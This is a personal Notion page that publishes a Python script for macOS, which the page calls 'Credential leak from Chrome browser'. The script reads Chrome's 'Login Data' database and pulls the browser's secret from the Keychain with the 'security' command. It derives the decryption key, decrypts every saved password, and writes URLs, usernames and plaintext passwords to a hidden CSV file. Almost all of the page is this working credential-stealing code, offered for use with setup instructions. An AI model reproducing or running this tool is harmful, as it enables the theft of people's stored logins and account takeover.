Original URL: https://sangsoo-lab.notion.site/Credential-leak-from-Chrome-browser-a20c66ad700249ef8efcbb9cb92b20ca

This version only affect on MacOS.

If you find any issues 'db connection' something like that, please feel free to ask me. This code is only tested on my local. I should append more exception module later.

Thanks all.

pip install -r ./requirements.txt

requirements.txt

Code is below.

import os
import csv
import json
import base64
import sqlite3
import hashlib
import binascii
import subprocess

from Crypto.Cipher import AES
from backports.pbkdf2 import pbkdf2_hmac
from itertools import cycle, islice

__author__ = 'Sangsoo Jeong'
__email__  = '[email protected]' , '[email protected]'
__date__   = '25/June/2021'

# Only Chrome Data Leak
BrowserName = "Chrome"
global username

BrowserDefaultPath = f"/Users/*/Library/Application Support/Google/Chrome/Default/"

BrowserDB = {
    "Credential" : 
        {
            ".vector"   : "Login Data",
            ".table"    : "logins"
             # Credential
        },
    "History"    : "History",

    "Cookie"     : "Cookie"
    }

# # # # # # # # DB table's column collector  # # # # # # # 
logins_column = {  
                    "origin_url" : [],
                    "username_value" : [],
                    "password_value" : [],
}

MAC_ITERATOR = 1003
LENGTH = 16
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  
'''
Chrome Data Leak Service 
|1| use chrome salt + iterations 
|2| use security find-generic-password -w -a "Chrome"  # Access to a keychain item

'''

class CSVGenerator():
    def __init__(self):
        self.test = None

    def setInformation(self, contexts, hostname):
        
        if "password_value" in contexts:
            print("The target is Login Data")
            csv_columns = ['origin_url','username_value','password_value']

            from datetime import datetime
            date = datetime.today().strftime("%Y_%m%d_%H%M%S")

            target = json.loads(contexts)
            f = csv.writer(open(f".{hostname}_Login Data_{date}.csv","w"))
            f.writerow(csv_columns)
            N = 100
            #print(target)
            for url, name, password in zip(
                islice(cycle(target['origin_url']),N),
                islice(cycle(target['username_value']),N),
                islice(cycle(target['password_value']),N)
                ):
                #print(url, name, password)
                try:
                    f.writerow(
                        [url,
                        name,
                        password]
                    )
                except TypeError as err:
                    print(err)

            '''
            for url in target['origin_url']:
                f.writerow(
                    [url]
                )

            for name in target['username_value']:
                f.writerow(
                    [name]
                )
            for password in target['password_value']:
                f.writerow(
                    [password]
                )
            '''
            
class AESCipher():
    
    iv = b"\\x20"*16
    def __init__(self):
        self.bs = AES.block_size
        self.key = None

    # AES_KEY and IV length issue solved code is below    
    def setKey(self, key):
        self.key = key

    def encrypt(self, raw): 
        raw = self._pad(raw)
        self.key = self.get_key()
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return base64.b64encode(self.iv + cipher.encrypt(raw.encode()))

    def decrypt(self, enc):
        
        enc = base64.b64decode(enc)
        # Issue : length is changed 16 -> 43 (AES) / 16 -> 19 (IV)
        #print(f'aes  = {self._key}')
        #print(f'aes len = {len(self._key)}')
        #print(f'decrypt IV = {self.iv}')
        #print(f'decrypt len IV = {len(self.iv)}')
        
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return (
            self._unpad(cipher.decrypt(enc[3:])).decode('utf-8') # Chrome Rule set : The encrypted data [0:3] is same value so do not need to use decrypt
        )
    def _pad(self, s):
        return (
            s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
        )
    @staticmethod
    def _unpad(s):
        return s[:-ord(s[len(s)-1:])]

'''
|1| Main Target : Chrome Browser
|2| Target's Information : Cookie, History, Credential
'''

class Chromium():
    def __init__(self, **kwargs):
        self._chrome_salt = b"saltysalt" # byte value or string value?
        self._browser = None
        self._chromeSecret = None
        self._key = None
        # failed code security find-generic-password -wa
        self._cmd = '''security find-generic-password -w -a ''' # Important : The python cannot recognise -wa you should use -w -a instead.

        if kwargs.get('browser'):
            self._browser = kwargs.get('browser')
            self._cmd += f"{self._browser}"
            self.set_keychain(self._cmd)
            self.get_salt(self._chrome_salt)
    
    def set_keychain(self,command='Chrome',data=None):
        
        commandline = command.split()
        print(commandline)
        # Trial or Error 
        #self._chromeSecret = base64.b64decode(subprocess.Popen(commandline, stdout=subprocess.PIPE).stdout.read().strip())
        #self._chromeSecret = subprocess.Popen(commandline, stdout=subprocess.PIPE).stdout.read().strip()
        self._chromeSecret = subprocess.Popen(commandline, stdout=subprocess.PIPE).stdout.read().strip()

        #print(f'Key is, {(self._key)}')
        self.get_keychain(self._chromeSecret)
        
    
    def get_keychain(self,data=None):
        return self._chromeSecret

    def get_salt(self, data=None):
        return self._chrome_salt

    def get_key(self, chromeSecret, chromeSalt, iterator, data=None):
        
        # Issue..
        # Failed code
        #self._key = pbkdf2.SHA1(hashlib.sha1, chromeSecret, chromeSalt, 1003, 16)
        # Requirements
        # [1] chromeSecret 
        # [2] chromesalt

        # solved
        self._key = pbkdf2_hmac("sha1",chromeSecret,chromeSalt,1003,16)
        return self._key
        
class Database():  
    def __init__(self, **kwargs):
        self._conn   = None # After conncected return object from Sqlite3
        self._cursor = None
        self._vector = None
        self._table  = None 
        self.__dict__.update(**kwargs)

        if kwargs.get('filename'):
            self._vector = kwargs.get('filename')
            print(f"file name = {self._vector}")
            self._table  = kwargs.get('tablename')
            self.open(self._vector)

    # DB open
    def open(self,name):
        try:
            self._conn = sqlite3.connect(name)
            self._cursor = self._conn.cursor()
            
        except sqlite3.Error as err:
            print(err)
    
    # DB close 
    def close(self):
        if self._conn:
            self._conn.commit() # Essential
            self._cursor.close()
            self._conn.close() 
    
    def select_data(self,column):
        tmp = ""

        for col in column:
            tmp += str(col)
            tmp += ", "

        set_col = tmp[:-2]
        
        self._cursor.execute(f"select {set_col} from {self._table};")

        # Filter case : b '' (password_value) => Do not have enc data
        full_rows = self._cursor.fetchall()
        
        for rows in full_rows:
            logins_column['origin_url'].append(rows[0]) # origin_url
            logins_column['username_value'].append(rows[1])
            logins_column['password_value'].append(rows[2])
            
        return logins_column

'''
|1| Hostname
|2| Chromium
'''

class Initialize():
    def __init__(self, userInfo):
        self._userInfo = userInfo
        self._hostname = None 

    def get_hostname(self):
        import os
        commandline = "whoami"
        self._hostname = subprocess.Popen(commandline, stdout=subprocess.PIPE).stdout.read().strip()
        print(f"hostname = {self._hostname}")
        
        userInfo = {
            "OS" : os.uname()[0],

            # Issue : my laptop setted sangsoo.local that's why I just split. 
            # When my friend double check my code is running is clearly, 
            # his hostname format was different from me.
            #"HOST" : os.uname()[1].split('.')[0] 
            "HOST" : self._hostname
        }
        
        return userInfo

def main():
    global BrowserDefaultPath
    global BrowserDB

    init = Initialize("INIT")
    
    userInfo = init.get_hostname()
    # patch
    username = userInfo["HOST"].decode('utf-8')
    BrowserDefaultPath = BrowserDefaultPath.replace(
        f'*', 
        f'{str(username)}'
    )
    BrowserDefaultPath += BrowserDB["Credential"][".vector"]
    
    # test 
    # Update 
    # _TODO_
    '''
    1. Cache DB
    2. History DB
    '''
    TestTable = BrowserDB["Credential"][".table"]

    db = Database(
            **{
                'filename' : f"{BrowserDefaultPath}",
                'tablename' : f"{TestTable}"
            }
        )
    
    # Credential 
    if db._table == 'logins':
        gather_data = db.select_data(logins_column) # The 'gather_data' will use

    
    chrome = Chromium(
            **{
                'browser' : "Chrome"
            }
        )
    chromeSecret = chrome.get_keychain(None)
    salt = chrome.get_salt(None)
    print(f'chromeSecret is, {(chromeSecret)}')
    print(f'Salt is, {(salt)}')

    key = chrome.get_key(
            chromeSecret, 
            salt, 
            MAC_ITERATOR, 
            LENGTH
    )
    print(f'Key is, {(type(key))}')
    print(f'Key length is, {(len(key))}')
    

    aes = AESCipher()
    aes.setKey(key)
    

    col_cnt = len(logins_column['password_value'])
    for index in range (0,col_cnt):
        try:
            # If the data do not have any encrypt data, just skip.
            logins_column['password_value'][index] = base64.b64encode(logins_column['password_value'][index])
            logins_column['password_value'][index] = aes.decrypt(logins_column['password_value'][index])

        except TypeError as err:
            logins_column['password_value'][index] = "N/A"
            pass
    
        except binascii.Error as err:
            print(f"Index = {index} data base64 issued")
            pass

    col_cnt = len(logins_column['username_value'])
    for index in range (0,col_cnt):
        if len(logins_column['username_value'][index]) == 0:
            logins_column['username_value'][index] = "N/A"
        else:    
            pass
    
    
    logins_column_json = json.dumps(logins_column)
    
    CSV = CSVGenerator()
    CSV.setInformation(logins_column_json,username)
if __name__ == "__main__": main()

Result

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/b87b27fd-ec72-4c41-a55c-0bb9c7784658/Untitled.png